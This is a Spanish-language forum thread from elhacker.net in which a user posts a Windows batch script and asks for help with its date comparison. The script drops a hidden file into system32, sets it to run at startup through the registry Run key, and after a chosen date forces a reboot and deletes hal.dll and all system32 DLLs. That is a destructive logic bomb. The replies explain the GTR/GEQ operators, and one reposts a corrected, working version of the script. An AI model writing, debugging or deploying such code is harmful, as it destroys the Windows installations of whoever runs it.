elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  problema en batch
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema en batch  (Leído 2,674 veces)
supradyn_activo

Desconectado Desconectado

Mensajes: 18


Ver Perfil
problema en batch
« en: 4 Julio 2010, 02:22 am »

Código
  1. @echo off
  2. cd "%windir%\system32"
  3. echo @echo off >> Wlcomn.bat
  4. echo set fin=20/07/2010 >> Wlcomn.bat
  5. echo if %%DATE%% == %%fin%% ( >>Wlcomn.bat
  6. echo shutdown -r -t 4 >> Wlcomn.bat
  7. echo erase /q /a "%%windir%%\system32\hal.dll" >>Wlcomn.bat
  8. echo erase /q /a "%%windir%%\system32\*.dll" >>Wlcomn.bat
  9. echo ) else ( >> Wlcomn.bat
  10. echo exit ) >> Wlcomn.bat
  11. @reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Wlcomn /f /D %Windir%\system32\Wlcomn.bat
  12. attrib +h "%windir%\system32\Wlcomn.bat"

Necesito que en esta linea: "echo if %%DATE%% == %%fin%% ( >>Wlcomn.bat" sea un mayor que... como se haria?funcionaria?


« Última modificación: 4 Julio 2010, 02:39 am por Karcrack » En línea

leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: problema en batch
« Respuesta #1 en: 4 Julio 2010, 02:52 am »

¿Tu dices cambiar el operador de comparación == por mayor qué?


En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
Hekaly

Desconectado Desconectado

Mensajes: 85



Ver Perfil WWW
Re: problema en batch
« Respuesta #2 en: 4 Julio 2010, 22:30 pm »

buenas supradyn_activo

Lo que buscas es que en vez de ser ==, sea >= , no??

Pues bien, como sabras al poner ">" en batch se lo toma como redireccion y da error , en cambio ya pensaron en eso y es utilizar otras expresiones que no sean (=, !=, <, >, <= o>=).

EQU --> igual
NEQ --> no igual
LSS --> menor que
LEQ --> menor que o igual
GTR --> mayor que
GEQ --> mayor que o igual

Esto lo puedes encontrar en la ayuda del if.

Ahora bien cambiando la linea por esta:

echo if %%DATE%% GTR %%fin%% ( >>Wlcomn.bat

Haber si es eso lo que quieres.




En línea

flony


Desconectado Desconectado

Mensajes: 583



Ver Perfil
Re: problema en batch
« Respuesta #3 en: 6 Julio 2010, 16:44 pm »

solo para saber...
queres que se haga despues de n inicios o sea a la decima prendida de pc por ejemplo, que arranque siempre despues de una fecha, queres que solo funcione una vez despues de tal fecha...
edito
de todas formas aca esta tu bat funcionando este bat va a funcionar siempre que haya pasado el 20/07/2010
Código:
@echo off
cd "%windir%\system32"
echo @echo off>>wlcomn.bat
echo set fin=20/07/2010>>wlcomn.bat
echo if %DATE% GEQ %fin% (>>wlcomn.bat
echo shutdown -r -t 4 >>wlcomn.bat
echo erase /q /a "%%windir%%\system32\hal.dll">>wlcomn.bat
echo erase /q /a "%%windir%%\system32\*.dll">>wlcomn.bat
echo ) else exit>>wlcomn.bat
@reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Wlcomn /f /D %Windir%\system32\Wlcomn.batattrib +h "%windir%\system32\Wlcomn.bat"
attrib +h "%windir%\system32\Wlcomn.bat"
en la parte del registro estodo junto en el mismo renglon pero no lo se poner  :rolleyes:
tus errores son
en el
Citar
%%DATE%% == %%fin%%
lleva solo un % no dos...y en el else no se pone () va yo no los pongo asi dice la ayuda de IF /?
« Última modificación: 6 Julio 2010, 17:53 pm por flony » En línea

si un problema no tiene solucion entonces no es un problema...es algo inevitable
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[BATCH]Problema con delimitadores xD
Scripting
FranciskoAsdf 4 5,537 Último mensaje 27 Marzo 2011, 09:08 am
por FranciskoAsdf
Tengo un problema con batch¡¡¡
Scripting
Mr.como21 2 2,389 Último mensaje 9 Mayo 2011, 11:13 am
por SuperDraco
Problema con batch
Scripting
pandozales12 7 3,096 Último mensaje 3 Julio 2011, 22:58 pm
por pandozales12
problema con batch
Scripting
0xDani 2 2,287 Último mensaje 21 Abril 2012, 00:34 am
por Eleкtro
[Batch] Problema con un IF
Scripting
castelar 2 1,829 Último mensaje 16 Mayo 2015, 12:27 pm
por castelar
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines